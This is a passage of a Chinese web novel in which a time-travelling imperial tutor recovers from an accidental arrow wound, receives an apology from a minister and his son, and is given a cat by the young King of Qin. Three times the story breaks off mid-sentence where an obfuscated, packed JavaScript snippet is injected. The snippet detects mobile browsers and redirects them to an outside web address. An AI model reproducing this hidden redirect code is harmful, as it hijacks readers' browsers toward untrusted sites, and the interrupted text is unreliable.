印玖一眼就看见餐盘上一碗浓浓的鸡汤,其余各色菜品也都是肉蛋类,十分奢侈。她问姝:“今日也有夜宴吗?” 姝替印玖把纸笔放置在更远处的桌子上,答:“回帝师,有的。今日大王邀群臣共饮,为明天的秋狩做准备。”说这话时,姝的目光没有离开过案几上的食物, 印玖心领神会,看着满满的菜品,故作为难道:“可是这么多菜,我一个人也吃不完啊。不如,我赏赐姝陪着我一起吃吧。就当是,提前感谢姝在未来的一个月里面照顾我了。” 姝两眼放光,嘴上却说着“不行不行,没有下人和主人同食的规矩”。 印玖恨不能将其拽过来坐下:“怕什么,我这里又没别人。再说了,我几个月前还是下人呢!” “帝师惊才绝艳,岂是我等俗人可以比的。” “你不答应,我要生气了。” 姝几乎要跪下来求印玖:“帝师折煞奴婢。尊卑有别,帝师得上天眷顾,方可跨越那一道鸿沟,而奴婢这等凡人,能够留在帝师身边伺候已是十辈子修来的福气,还望帝师不要让奴婢为难。” 印玖看着眼前16岁小姑娘眼眶中打转的眼泪,微张的嘴似含了铅一般沉重。 在这里,她是天才,她可以自由挥洒天性,可以放荡不羁,但这不意味着,规则会允许普通人这样。 “抱歉。”千言万语梗在心口,最终只有这两个字的宣泄。 姝那滴泪终于滚落,她笑着说:“奴婢能来伺候姑娘已经是十辈子修来的福气。”若是换了别的主子,要求会比印玖多上十倍,但永远不会像印玖这样,认认真真把她这个人看在眼里,认真和自己介绍名字。 嬴政来时看见印玖在喝鸡汤。 一主一仆都在室内,他进来时无人通报。 “嗯?今天不是有夜宴吗?”印玖正握着调羹喝汤,余光瞥见一个影子,转头看去发现是嬴政。 “寡人不胜酒力,故而退席得早。这床上桌子……”嬴政本来想着,早点出席完来印玖这边吃饭,随便和她商量一下肇事者的处理办法,不想对方直接将食物放在床上的案几上。 他倒是没想到。 印玖用了两秒钟反应过来,她还以为这么丰盛的菜品是因为设宴,原来是嬴政逃席了,于是笑道:“陛下,这鸡汤好喝得很,你要不要来一碗。” 姝察言观色,已经将餐食一道道撤至桌子上。 “可。” 印玖的眼睛像浸泡了水的葡萄,又黑又亮,嬴政一瞬间有些失神,等到回神时,姝已经盛好一碗汤恭敬端到他面前。 嬴政坐下接过,看见印玖把喝完的汤碗递给姝,说了声:“有劳。” 这样的称呼只能用于同等或更高身份的人,姝紧张地看了一眼嬴政,发现对方只看着印玖。 “下去吧。” 这话是对她说的。姝听完应了声“诺”,然后小心地退下了。 “干嘛?”印玖不明所以。 “你与下人之间,还是保持些距离为好。”嬴政建议道。 “为何?”印玖不解。 嬴政看她一脸疑惑的样子是真不知道,决定好人做到底提醒得直白一点:“因为大多数接近你的人,都是带着目的的。就算她们本身没有目的,也可能被人收买。你在敌人面前暴露得越多,他们手中的把柄越多。” 印玖听完没有否认也没有立即道好,而是思考了一阵才道:“行吧,那我以后注意。” 嬴政见她听进去了,又道:“射箭的那人你可想好了如何处置?” “?”还能怎么处置,印玖遵循现代规则答,“赔我点钱?” 嬴政几乎要两眼一黑,好半天才找回自己的声音:“你很缺钱吗?” “这玩意儿不是多多益善吗?” “。”好有道理,不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151489|196457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道该如何反驳。 嬴政艰难地意识到印玖的过去可能生活在一个人际关系单纯的世界,于是他道:“你是寡人帝师,却被他所伤,按照秦律,应当削去其一块大腿肉。” “。”这次轮到印玖语塞了,“咱能不能文明一点。不然还是让他赔点钱吧。” “若此事只涉及你,寡人不会干预你的决定。”嬴政本想借机探探印玖的处事能力和手段,没想到对方直接撂担子放弃。 “可是,你是以我的名义处理这件事的啊。我不接受这么血腥的处理方法。”印玖活到现在满打满算3辈子了,见过的最血腥的内容是她上次在副本里面被人捅死时血如烟花般炸开的情景。 “寡人也不接受平白被人伤了。” “那你换个名义吧。比如给他爹找点事做什么的。” “你怎么知道他家有人在朝堂?”嬴政疑惑问道。她才成为帝师多久,在哪里接触到了朝堂之事? 印玖愣了一下,她确实思维快于逻辑了,思索片刻找到逻辑道:“如果这么好解决,你就不会特意过来找我了。” “不错。”嬴政道,“他爹任职于九卿之一,且属于芈氏派系,不好对付。” 这还是第一次嬴政与自己光明正大地聊起朝堂之事,印玖警惕心乍起,本着不入局多观望的心态按照自己的行事风格给建议:“既然如此,你何不卖他个人情?” “人情?”嬴政皱眉,“麻烦。寡人不喜欢这种不清不楚的关系。” 印玖将空碗搁在桌上努力思索着有没有其他的办法。 很不幸,没有。对方好歹也是九卿之一,拥有实权的大臣,比自己这个只有虚名的人厉害太多了。自己这点事情其实是没有资格去挑战对方的权威的,嬴政这个还未亲政的秦王也有点难。 “君子报仇十年不晚,先等等吧,让他赔点钱再说。” 嬴政有些无语又有点担忧,再次重复:“老师,你真的很缺钱吗?” 印玖猜测自己的每一笔钱都由他过目。他不问缘由也不问自己钱用在了何处,或许是想帮助自己。 于是印玖坦然承认了:“昂,不然你给我点。” 其实印玖平时用钱的地方并不多,但奈何她积蓄少哇!物理院自从她舌战群儒把其他几位司长气得够呛之后,倒是没缺过钱,但是她这段时间一直在宫里组建关系网络找赵高,开销不少。 “等回咸阳吧。”嬴政想着自己的小金库里面可以给印玖点什么。 “昂。” “夜宴那边你不用过去了吗?”印玖看着他又喝了一碗汤,忍不住出声提醒。 天知道她这个病号才喝一碗啊! “明日正午的宴席才是重要场合,今天晚上只是小宴。” “哦哦。那能不能让姝进来给我盛碗饭吃。” 嬴政这才意识到印玖搁在案几上的空碗已有一段时间了,他有些不好意思:“来人。” 候在门外阶下的姝闻声进来,低着头不敢看人,规矩地按照嬴政的吩咐给印玖盛菜。 11. 延后吧 郎中令的儿子嬴白候在阶下已经半个时辰。小厮捧着一个宝盒跟在身后。 他的父亲半个时辰前进了大王殿中,至今还未出来。 门内没有任何动静,他有些忐忑。 前两日在赛场上,他不小心射了在观众席昏昏欲睡的印玖一箭,紧接着周围慌乱起来,比赛也暂停了。 长安君成蟜策马到他面前,下马后拍着他的肩膀幸灾乐祸道:“您箭术真准呐!” 他不说话,只是苦笑。 和他玩得好的两个兄弟上前来问他的情况,他也只是摇头,沉默以对。 “这女子这些时日在咸阳街头讨论度高得很。你怎么能不小心打中了她呢?” “说起来还是莫名其妙因为一首所谓的诗就火了,然后摇身一变变成大王的老师。也不知道怎么做到的。” “听说是大王和相邦共同的决定。” “此等小事,相邦不过卖大王一个面子罢了。”有人断言。 “我听说,好像和什么物理有关系。” “我也听说了。” “什么物理,快说说。” “你们都不知道哇?” “哎呀,快说!” “快说!” “就是……一个橘子从桌头滚到桌尾,做了多少功……用了多少力什么的,总之奇怪得很!我大伯前些日子来家中给我父亲贺寿时,特意拷问了我一番,反正我是没听明白他说了什么。” “那你怎么知道这玩意儿和帝师有关系?” “就是!” “几个月前我去我大伯家拜访时,他偷偷告诉我的。” “还需要你几个月前?帝师她自己不就弄了个物理司吗?那个建造院院长陈昀的儿子陈无虑也在里面。” “谁?” “就那个经常去佃户那里帮忙的院长儿子!” “哦哦,是他呀!哈哈哈哈!” “那帝师弄这个物理院是想干些什么呢?” “还能干什么,推广她的物理呗,还不知道有什么效果呢。” 众人的讨论点很快被转移,只有几个人注意到已经走开的嬴白,但也只是看了一眼,很快又将注意力重新投入到那个据说让一个身份低下的宫女一步登天成为秦王帝师的物理。 . 殿内一片寂静,郎中令坐在垫上,微微躬身等待嬴政处理完手头上的事情。 只是似乎过于漫长了。 他旁边那位名叫喜的侍人已经将平滑墨块磨出一个大缺口了。 郎中令坐得腿有些酸。 大王封帝师时没和朝臣商量,是以朝臣多不满此举,那几天的奏章堆起来估计得有一座小山高。老子有云,与光同尘嘛,他也写了几份上去。 不过只有自家倒霉儿子给人射了一箭。 搁在大王这里,这不明摆着反对他嘛。 在府中理清了思路,郎中令早已准备好了一套说辞,心中反复咀嚼几遍,确认无误。 只可惜现在一通腹稿没处使。 大王根本就不想跟他说话。 嬴政日日与自家老师相处,其言行耳濡目染,也学会了出其不意。 刚好用在这伤了老师和他的罪人身上。 印玖再如何,如今也是自己的老师。 老师不跟他计较,但自己身为秦王不能不计较。 嬴政算着时间,差不多过了一个时辰,才搭理起眼前的人。 “寡人处理了些政务,让郎中令久等了。” “大王以国事为重,理当如此。” 嬴政微微颔首:“令郎那只箭,就擦着寡人的脸飞出去,真是惊险得很呐!” 郎中令吓出一声冷汗。 射中帝师和射中大王是完全不同的两个性质! 他起身来到席前,顾不得腿酸脚麻,九十度鞠躬道:“犬子骑术不精,让大王和帝师受到惊吓与伤害。臣这个做父亲的,也有管教不严之罪,求大王责罚。” “依秦律,冲撞秦王,乃死罪。”嬴政神色如常,微眯起的双眼无半分旧情可寻,令人心头一凉。 郎中令应声跪拜在地,沉住气道:“是臣教子无方,这才冲撞了大王,臣甘愿接受任何处罚。”说完,他闭上眼睛,听凭发落。 郎中令在赌。他在赌一个无权的14岁秦王,不会真的拿自己怎么样,最多最多,让他回家养老。 在郎中令看不见的地方,嬴政嘴角微微勾起。 还真被老师给猜中了。对方必然会做出一副“愿打愿挨”的样子,看似顺从,实则以退为进,料定嬴政不敢动他。 前日看印玖一副不想卷入是非的姿态,嬴政在饭桌上故作轻描淡写地说起那只箭不仅射中了印玖,还擦着自己的鼻尖飞过。印玖这才认真起来,吐出口中的饭,紧张道:“你怎么不早说?” 嬴政只是轻轻一试,没想到对方会如此在意,嘴角不自觉翘起又很快被压下。 印玖:开玩笑!他要是有什么差池老娘又要重开了!那个谁简直罪无可恕! “射箭那人是谁来着?” 嬴政微微一愣,他问:“他叫嬴白,郎中令嬴黑之子。老师连肇事者的名字都不在意吗?” “主要是没想到还有你的事。”印玖喃喃道。 嬴政嘴角再次没压住。 “寡人之事自己会解决,老师只管给自己报仇就好。” 从建造院的记录来看,印玖行事一向疏狂。若是有人得罪了她,当时没能报仇,事后也不会追究。嬴政很欣赏这一点。 . “我们确实要揪住这件事情不放,但不用花精力在上面。”印玖目光敏锐,眼睛又亮又润,眉轻压着眼,一副志在必得的样子。她知道嬴政差点被射中后,不由得怀疑起那个嬴白的动机来。 不论如何,都得狠狠教训一顿:“光靠这件事情不放只能挠对方痒痒,咱们要打就打其七寸!他爬得这么高,不可能一点问题都没有。趁着这件事情让他放松警惕,咱们打他一个措手不及!” 嬴政并未恼怒于她用“我们”二字,而是继续追问几种可能性,与她一顿谋划,这才有了今日场景。 “寡人听说你在替他奔走入军营的事情。” 郎中令心头一颤。自商君变法以来,宗室子弟无军功不获爵,是以各宗亲皆为年满16岁的子孙奔走,以求一个军功机会。 而军队统帅向来出自王、蒙二家。蒙家一边倒支持大王,蒙骜一共两个孙子,一个在章台宫任职内务总管,另一个随父征战四方。王家在此朝堂纷争中缄默不语,等待着最后那个胜利者出现。 但这不代表,秦王没有干预的权力。 从本质上来说,面前这位秦王之所以能够与相邦吕不韦和华阳太后抗衡,就是因为蒙家的倾力支持和王家的中立。王家在此朝局中的中立,很大程度上也可以看作是对大王的支持。 “是。”此次秋狩比赛,大王召集的世家子弟多为家中为其奔走功勋者。各家都明白,大王这是要观察他们的本领。毕竟功勋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151490|196457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爵位与赏赐挂钩,国库的钱给出去了,总要有些用处。 “延后吧。” “……是……”郎中令深知,这一延后,就不知道猴年马月了。毕竟宗室子弟数量庞大,竞争激烈,每年都有不少人满16岁,但功勋爵位,哪有那么容易拿?幸好自己是贵为郎中令,九卿之一。幸好幸好…… “寡人这边没事了,郎中令带着令郎去看看老师吧。好好赔罪。” 看着郎中令出去的背影,嬴政心中暗道:老师的想法是不错,不过寡人和老师一样,有仇一向是当场就报了。但既然老师有自己的想法,寡人还是尊重吧。 突然间嬴政又想起印玖和她身边那个小丫头好像没应付过外客,于是吩咐道:“喜,你去……” “是。” . 印玖在屋里安安稳稳地躺了两天,期间郎中令带着他的儿子登门给印玖道歉。 按照品阶,印玖是金印紫穗,他是银印青穗,地位更高。奈何人家有实权,比她这个光杆司令强多了。 郎中令只站在阶下并未入内,多年官场浸染出来的气度不凡,深秋肃穆之气反增其贵重之气。 重臣带子登门道歉,姝一个小姑娘没见过这场面,刚听完这位腰上挂着银印青穗的大人的话,连人都没看清,拔腿就跑,脚步飞快地进屋找印玖了。 印玖将金印紫穗的印鉴绳子拿在手里旋转,将门外的一切看在眼里,心底叹气:姝啊姝,这里与嬴政的住所仅一墙之隔,你拐个弯去找他帮忙不就行了吗?你找我,我也没见过这场面啊! 好在郎中令自己懂规则,先去隔壁拜访了嬴政才过来的。 喜得了嬴政的命令,及时从正殿走出来,跨越门槛迈入偏殿,给印玖行了礼,指挥室内的姝:“将床头帘幕放下。” 姝赶忙照做。 喜又让她出去请郎中令。姝忙照做。 姝出去的间隙间,喜神情复杂地看了印玖一眼。但只一眼,她动作极快地整理好桌面,摆好茶盏倒好水。 正好赶上姝带着郎中令和他的便宜儿子进来。 “畜生!赶紧给帝师赔罪!”郎中令一巴掌推在儿子背上,大声呵斥道。 嬴白“扑通”一声跪下,双眼紧闭,嘴里说着道歉的话,希望求得印玖的原谅。 他说完,郎中令又紧接着说了一通:“犬子骑术不精,误伤帝师,家中老母听闻,当即便将犬子教训一顿。今日特命我送来百年人参一棵,携带犬子给帝师赔礼谢罪……”说着让门外端着礼盒的下人进来。 姝上前接过。 郎中令又道:“不知帝师伤势如何?” “夏医侍说,还要再躺一个月。”印玖语气伤感。 郎中令大脑飞速旋转想着说辞, 印玖等他俩九拐八弯说完才开口,扯了两句跟钱有关的闲话很快步入正题:“既然令郎不是故意的,我也未造成不可逆的重大损伤,便不必按秦律处理了。” 郎中令心中大石落地,暗道:之前听参与了纸张推广议事的同僚说,印玖此人心地善良,不会过度追究,今日一看果真如此。不过,这印玖虽为帝师,可终究人微言轻,如她所愿,出些财物了事便罢。就是大王那边,为了白儿顺利拿到爵位,恐怕还要有些交代。 “是。畜生,还不多谢帝师宽宏大量!” 嬴白谢过便起了身。 郎中令又按照流程询问了一番,最后道:“如此,我过几日再差人来看望帝师。” “嗯,郎中令走好。” 12. 宿主你桃花动了 姝把人一路送出去,喜后脚也跟着出去了。 她步子又稳又端庄,罗裙轻提跨过殿上门槛,上前向嬴政复命。 “帝师只要了钱。” “老师向来心善,由着她去吧。”嬴政听到印玖的名字,连自己都没意识到的心情大好,嘴角微微勾起。 喜将一切看在眼里,内心苦涩。她跟在嬴政身边5年,多少明争暗斗都见过,生死关头也领会过,她深知眼前人从不心善,更不在意别人心善与否。 他何曾会因为别人心善而高兴? “统啊,你说我什么时候能下床出去走走呢?” 距离那日郎中令到访已有些时日,除了他将印玖满意的财物送来之外,吕不韦和昌平君也命人送来了些好东西,算是对她帝师身份的慰问。不过印玖现在最不在意的就是这些俗物。 她侧着头看窗外阳光明媚,桂花芬芳。院内安静的可怕,不时有大雁南飞传来声音,是自由的召唤! 印玖漫无目的地遐想,不知为何想到了那天晚上她浴室的门被人打开,铺天盖地的桂花香闯进来,凛冽又浓郁。 说起来,她是不是应该找嬴政赔点钱?毕竟对方比自己更怕被讹上。 印玖登时为当时的慌乱而错失一大笔财富悔不当初。 果然,情绪挡财路! 印玖决定今后要做一个更冷静的人! 等等等等,怎么又绕回到钱上了。好在系统将话题接了回来:“大夫不是说了吗,半个月后就能下床了。” “庸医。我看一个礼拜就可以了。” 系统:“。” “您什么时候学医术了?” “我只是想出去走走看看。” “那你想吧,梦里啥都有。副本bug的问题还没解决,我忙得很,有事没事别叫我。” 印玖:“?!不是,你好歹是个系统,有引导作用吧?” “可我看你好像不太需要我,你更需要嬴政一点。你们两个一个缺少对人的具体了解,一个缺少对人性恶劣一面的具体了解,双方多探讨一下比我告诉你的这点信息强太多了。行了,我走了。” 印玖正思考系统前面的话,听到系统要走,忙问:“bug的事情你这边有什么进度吗?能在这次副本里面修好吗?” 不知为何,印玖心生一点不舍。 共感带给她的帮助实在太大了。 虽然对应的,嬴政那边必然会承受很多。但是,印玖不在意。 她先把好处拿了再说。 印玖将自己的想法和系统一说,系统好奇地停下脚步:“你前段时间还能和射箭的人和解,怎么就对嬴政这么苛刻。” “这不叫苛刻,这只能叫尽人事。倘若他故意射我一箭,你看我咬不咬他?可他不是故意的啊,那就没办法了。而且,我没有任何实力,我能怎么办?再说,赵高还不知道什么时候能找到呢,我还是多找机会搞点钱吧。 “至于嬴政嘛,作为二者中更强的一方,被共感平均之后,承担更多是必然的。又不是我导致的共感。 “最重要的是,基于共感绑定的客观事实,他不会因为这种事情就对我有什么意见的。当然,我相信他想解除共感的心愿一定比我强烈。” 系统仔细分析了一番印玖的言论,最终得出结论:“还是您6。 “bug的事情麻烦得很,没这么容易解决。但是你这边的话,嬴政确实没在意过共感导致的一些负担,估计认命了。咦,你这边……我看一下……嗯,宿主,你桃花动了。” “?”印玖满脸疑惑,“你是说我瘸了一只腿,然后桃花动了?你没事吧?” “不知道。有点迹象,不确定。” “无所谓,这种事情不重要。” “嗯嗯,任务要紧。”系统说完就走了。 印玖开始重新思考系统之前说的话。 她确实缺少对人性恶的一面的了解。但是嬴政不了解具体的人?她倒是没发现。 她只感觉到嬴政的防备心很重,出于对对方边界感的尊重,她并没有细致深入地分析了解对方,只是有一些直觉而已。 印玖正想着,说曹操曹操便到。眼角余光看见门口有个身影走进来时,她还有些疑惑。 怎么,这是太闲了?有空来我这里? 虽然二人住处只有一墙之隔,但交集连手指头都能数得过来。 “过两天,寡人就要启程回咸阳了。” 哦,就留我在这里养伤嘛。印玖“嗯”了一声。想到上次他让喜过来招待嬴黑的事情,趁机道谢:“多谢陛下前些日子命人来替我招待郎中令。” “此乃小事,不必谢。”嬴政顿了顿,又道,“寡人进来时,看见老师视线望向窗外,可是想出去了?” “昂。我都在这里躺了一个礼拜了。”印玖无奈地用手捶了一下床。 早知道就该给那个什么嬴白更重一点的处罚! 嬴政将她的小动作看在眼里,眼中有笑意:“夏无且说,老师这些日子没有感染发烧已经是万幸,至于出门活动,还是再等等吧。” 印玖听完眼里就没了光。兴致骤降之时,突然听见一声极轻的猫叫声。 “喵~” 印玖寻声探去,看见门口怯生生走进来一只白爪虎皮狸花猫。 印玖顿时两眼放光,眼神不肯偏离门口那只小猫一寸。 “这只猫是哪里找来的?!”印玖惊喜之余分了一丝眼神给嬴政,“陛下也喜欢猫吗?” “寡人喜欢它的眼睛。” 印玖仔细看着那只走进的小猫说:“它的眼睛是褐色的。”很大很亮,就是有些胆怯。 只见这只小猫走到嬴政脚边蹭了蹭他的腿,亲昵地叫了几声。 “寡人前两日在一处花坛中捡到了它,让喜帮着照顾了几天。不过她不喜欢猫。寡人正头疼为它寻个去处,却不想它跟着寡人过来你这儿了。” 印玖回忆着喜这个名字,应该是他身边那位照顾他起居饮食的女官的。那位女官上次帮了她大忙。 印玖于是道:“有人不喜欢猫也正常,毕竟这玩意儿爪子又尖又利,还容易搞破坏。不过我没那么在意这些。” 嬴政想也是,因此听到猫叫声时,特意从花坛中捡起这只浑身带着叶子、枯草和泥巴的“脏猫”,拿回去命喜洗干净,喂养好再送给印玖解闷玩。 “不过。”印玖突然想到了什么,摇头道,“这个小东西每餐可都是要吃肉的,我怕是养不起。”秦国饮食规则严苛,她想养一只吃肉的猫可太不容易了。 “这个好办,就当是放在老师这里,记寡人账上就行了。”嬴政打得一手好算盘。他的房间与印玖的房间仅一墙之隔,却在三餐之外找不到理由来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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印玖试探着问:“对了,那位名叫喜的女官看起来应对大小事务都很熟练的样子,她是一直在宫里吗?” 嬴政并未意识到印玖已经完全跑偏了,实话实说:“她是我回咸阳之时,先王指派照顾我起居的宫女。我小时候在楚国长大,9岁回的咸阳,这你总知道吧。” 印玖点头“嗯”了两声,说“知道”。她想,这二人关系必然不一般,也难怪会因为他会因为那位女官不喜猫就忍痛割爱把它抱来给自己。印玖觉得自己勘破了真相,本着促成良缘的心理,她决定收下这只小猫:“这只小猫有名字吗?” “还没有。老师想给它取个什么名字?” 一切都按计划发展,嬴政心情大好。 “叫……绥意吧。”印玖想了一会,脑子里冒出它刚才发现了嬴政,气定神闲走到他身边蹭腿的样子,“有狐绥绥的绥。小名叫元宝。” 嬴政听到“有狐绥绥”时眼前一亮,听到“元宝”时又眼前一黑。 有时候他真的怀疑自己的审美和眼睛有问题,但眼前人明明生得明眸皓齿,声音又清冷又性感,唯独脑子有点跳脱。 罢了,元宝就元宝吧。 多叫几遍就顺口了,多叫几遍就好听了。 “也好。这只小猫就叫元宝了。”他表情是罕见的温柔。